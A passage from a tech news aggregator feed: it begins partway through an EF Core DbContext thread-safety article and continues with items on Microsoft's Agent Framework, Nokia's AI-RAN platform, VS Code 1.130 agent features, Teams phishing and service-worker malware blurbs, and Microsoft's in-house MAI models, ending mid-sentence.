<p class="wp-block-paragraph">Note that <code>ProductService</code> has two methods, <code>GetByIdAsync</code> and <code>UpdateStockQuantityAsync</code>. An instance of the <code>DbContext</code> class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the <code>GetByIdAsync</code> method while thread T2 executes the <code>UpdateStockQuantityAsync</code> method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.</p>



<p class="wp-block-paragraph">Consider the following code that executes a read operation and an update operation in two separate tasks. </p>



<pre class="wp-block-code"><code>public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }
</code></pre>



<p class="wp-block-paragraph">The <code>Task.WhenAll</code> method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own <code>DbContext</code> instance internally. Therefore the read operation and the update operation use independent <code>DbContext</code> instances.</p>



<h2 class="wp-block-heading">Use DbContext pooling to reduce allocation cost</h2>



<p class="wp-block-paragraph">Although creating <code>DbContext</code> instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context. </p>



<pre class="wp-block-code"><code>builder.Services.AddPooledDbContextFactory(options =&gt;
    options.UseSqlServer(connectionString));
</code></pre>



<p class="wp-block-paragraph">A call to <code>AddDbContext()</code> will register a <code>DbContext</code> instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the <code>DbContext</code> will not always suffice.</p>



<p class="wp-block-paragraph">You will need a factory to create instances of <code>DbContext</code> when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.</p>



<h2 class="wp-block-heading">Key takeaways</h2>



<ul class="wp-block-list">
<li>If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.</li>



<li>You cannot execute multiple queries in parallel in EF Core using the same <code>DbContext</code> instance.</li>



<li>The <code>IDbContextFactory</code> enables you to create a <code>DbContext</code> instance for each thread, thereby enabling you to work with these instances in isolation.</li>



<li>Although using a <code>DbContext</code> pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.</li>
</ul>
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<title><![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]></title>
<description><![CDATA[Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the fo...]]></description>
<link>https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</link>
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<pubDate>Fri, 24 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?</p>



<p class="wp-block-paragraph">At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.</p>



<p class="wp-block-paragraph">Looking back, I think we were asking the wrong question. I certainly was.</p>



<p class="wp-block-paragraph">I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.</p>



<p class="wp-block-paragraph">Then Microsoft settled it for us. It <a href="https://learn.microsoft.com/en-us/agent-framework/overview/">introduced the unified Agent Framework</a>, quietly moved Semantic Kernel and AutoGen into <a href="https://devblogs.microsoft.com/agent-framework/migrate-your-semantic-kernel-and-autogen-projects-to-microsoft-agent-framework-release-candidate/">maintenance mode</a>, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.</p>



<p class="wp-block-paragraph">What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.</p>



<p class="wp-block-paragraph">It didn’t change the meal.</p>



<h2 class="wp-block-heading">The framework was never the hard part</h2>



<p class="wp-block-paragraph">Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?</p>



<p class="wp-block-paragraph">Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.</p>



<p class="wp-block-paragraph">The first question I ask now is much smaller. Does this thing actually need an agent?</p>



<p class="wp-block-paragraph">It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.</p>



<p class="wp-block-paragraph">Part of this is just that “<strong>agent</strong>” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.</p>



<h2 class="wp-block-heading">What building production agents actually taught me</h2>



<p class="wp-block-paragraph">Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.</p>



<h3 class="wp-block-heading">Context beats model choice</h3>



<p class="wp-block-paragraph">Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.</p>



<p class="wp-block-paragraph">I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”</p>



<p class="wp-block-paragraph">The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.</p>



<h3 class="wp-block-heading">Failure is where the real work is</h3>



<p class="wp-block-paragraph">Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.</p>



<p class="wp-block-paragraph">I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.</p>



<p class="wp-block-paragraph">Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.</p>



<h3 class="wp-block-heading">Identity is the real security boundary</h3>



<p class="wp-block-paragraph">This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.</p>



<p class="wp-block-paragraph">Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.</p>



<h3 class="wp-block-heading">The surprises weren’t technical</h3>



<p class="wp-block-paragraph">Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.</p>



<h2 class="wp-block-heading">Build for change, not for today’s winner</h2>



<p class="wp-block-paragraph">I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.</p>



<p class="wp-block-paragraph">The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.</p>



<p class="wp-block-paragraph">For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.</p>



<p class="wp-block-paragraph">I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.</p>



<p class="wp-block-paragraph">It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.</p>



<p class="wp-block-paragraph">So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.</p>



<p class="wp-block-paragraph">Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?</p>



<p class="wp-block-paragraph">Those questions outlast every rewrite. That’s where I’ve learned to put my effort.</p>



<p class="wp-block-paragraph">Frameworks come and go. Good architecture has to survive all of them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Hackers Abuse Service Workers to Assemble Malware Inside Web Browsers]]></title>
<description><![CDATA[Hackers are abusing modern browser features like ServiceWorkers and SharedWorkers to assemble malware entirely inside the victim’s browser memory. The SourTrade malvertising operation is a live example of how this technique is being weaponized against retail traders and crypto investors. SourTrad...]]></description>
<link>https://tsecurity.de/de/3691020/it-security-nachrichten/hackers-abuse-service-workers-to-assemble-malware-inside-web-browsers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691020/it-security-nachrichten/hackers-abuse-service-workers-to-assemble-malware-inside-web-browsers/</guid>
<pubDate>Fri, 24 Jul 2026 10:42:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hackers are abusing modern browser features like ServiceWorkers and SharedWorkers to assemble malware entirely inside the victim’s browser memory. The SourTrade malvertising operation is a live example of how this technique is being weaponized against retail traders and crypto investors. SourTrade has been active since late 2024, buying programmatic ads and impersonating TradingView, Solana, and […]</p>
<p>The post <a href="https://cyberpress.org/service-worker-malware-assembly/">Hackers Abuse Service Workers to Assemble Malware Inside Web Browsers</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
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<title><![CDATA[Microsoft Warns Phishing Attacks Are Moving Beyond Email Into Workplace Communication Tools]]></title>
<description><![CDATA[Microsoft has warned that phishing operators are increasingly targeting workplace communication platforms such as Microsoft Teams, using chat messages and voice calls to exploit the trust employees place in internal collaboration tools. While email remains the primary initial-access channel, Team...]]></description>
<link>https://tsecurity.de/de/3690846/it-security-nachrichten/microsoft-warns-phishing-attacks-are-moving-beyond-email-into-workplace-communication-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690846/it-security-nachrichten/microsoft-warns-phishing-attacks-are-moving-beyond-email-into-workplace-communication-tools/</guid>
<pubDate>Fri, 24 Jul 2026 08:41:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has warned that phishing operators are increasingly targeting workplace communication platforms such as Microsoft Teams, using chat messages and voice calls to exploit the trust employees place in internal collaboration tools. While email remains the primary initial-access channel, Teams-based social engineering and voice phishing surged during the second quarter of 2026 Microsoft Threat Intelligence […]</p>
<p>The post <a href="https://cyberpress.org/workplace-tools-face-phishing/">Microsoft Warns Phishing Attacks Are Moving Beyond Email Into Workplace Communication Tools</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Visual Studio Code 1.130 shines on Agents window]]></title>
<description><![CDATA[Microsoft has released Visual Studio Code 1.130, an update to the code editor that brings several improvements to the Agents window, along with enhancements to the agent host and the terminal.



VS Code 1.130 was released on July 22, one week after VS Code 1.129. Developers can access the releas...]]></description>
<link>https://tsecurity.de/de/3690529/ai-nachrichten/visual-studio-code-1130-shines-on-agents-window/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690529/ai-nachrichten/visual-studio-code-1130-shines-on-agents-window/</guid>
<pubDate>Fri, 24 Jul 2026 03:37:26 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft has released Visual Studio Code 1.130, an update to the code editor that brings several improvements to the Agents window, along with enhancements to the agent host and the terminal.</p>



<p class="wp-block-paragraph">VS Code 1.130 was released on <a href="https://code.visualstudio.com/updates/v1_130#_agents-window-improvements-preview">July 22</a>, one week after <a href="https://www.infoworld.com/article/4199680/visual-studio-code-1-129-introduces-dedicated-agent-host.html">VS Code 1.129</a>. Developers can access the release for Windows, Linux, or Mac from <a href="https://code.visualstudio.com/Download?_exp_download=fb315fc982">code.visualstudio.com</a>. </p>



<p class="wp-block-paragraph">With the new release, the <a href="https://code.visualstudio.com/docs/agents/agents-window">Agents window</a> gets updates that make it easier to review changes and manage chats. File-level diff statistics help users assess the size of each file’s changes when scanning a multi-file diff. The window also gets a more compact multi-file diff that makes it easier to review changes, Microsoft said. The Agents window is a dedicated window in VS Code that lets users run and track multiple agent sessions in parallel across their projects, without opening each workspace in a separate window.</p>



<p class="wp-block-paragraph">Also with VS Code 1.130, assisted permissions for agent tool calls are available in the <a href="https://code.visualstudio.com/updates/v1_130#_the-agent-host" data-type="link" data-id="https://code.visualstudio.com/updates/v1_130#_the-agent-host">agent host</a>. With assisted permissions, the LLM evaluates the risk of each tool call and decides whether the tool can run or should require the user’s approval. The setting to enable assisted permissions is <code>chat.assistedPermissions.enabled</code>. In another agent host improvement, quick chats running on the agent host now use compact, single-line rows in the sessions list. Regular sessions retain a second line with change statistics, status, and timestamps. </p>



<p class="wp-block-paragraph">VS Code users now can open file links from Git diff output in the terminal when Git’s <a href="https://git-scm.com/docs/diff-config#Documentation/diff-config.txt-diffmnemonicPrefix" target="_blank" rel="noreferrer noopener"><code>diff.mnemonicPrefix</code></a> option is enabled. VS Code recognizes prefixes such as<code> i/</code> for the index and <code>w/</code> for the working tree, and removes the prefix from the link target so the correct file opens. When mnemonic prefixes are enabled, VS Code also recognizes the numeric prefixes produced by <code>git diff --no-index</code>.</p>



<p class="wp-block-paragraph">Timestamps for chat requests and responses now are displayed when users hover over the message toolbar. You can disable this through the <code>chat.verbose</code> setting. </p>
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<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 